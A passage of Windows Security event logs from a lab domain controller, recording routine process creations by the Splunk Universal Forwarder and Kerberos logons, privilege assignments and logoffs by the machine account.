Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:56:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256923
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x340
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:56:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256922
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10ec
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:56:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256926
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x481394

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:56:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256925
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x481394
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59198

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:56:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256924
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x481394

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:57:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256932
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4822EC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:57:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256931
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4822EC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59202

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:57:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256930
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4822EC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:57:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256929
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x482280

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:57:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256928
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x482280
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59201

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:57:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256927
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x482280

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:57:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256933
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9ec
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:57:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256934
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1164
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:57:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256935
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1014
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:57:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256936
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12b8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:57:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256948
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa60
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:57:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256947
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x483D16

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:57:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256946
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x483E24

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:57:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256945
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x483E6D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:57:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256944
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x483EDE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59207

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:57:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256943
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x483EDE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:57:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256942
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x483E6D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		59206

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:57:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256941
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x483E6D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:57:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256940
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x483E24
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:57:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256939
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
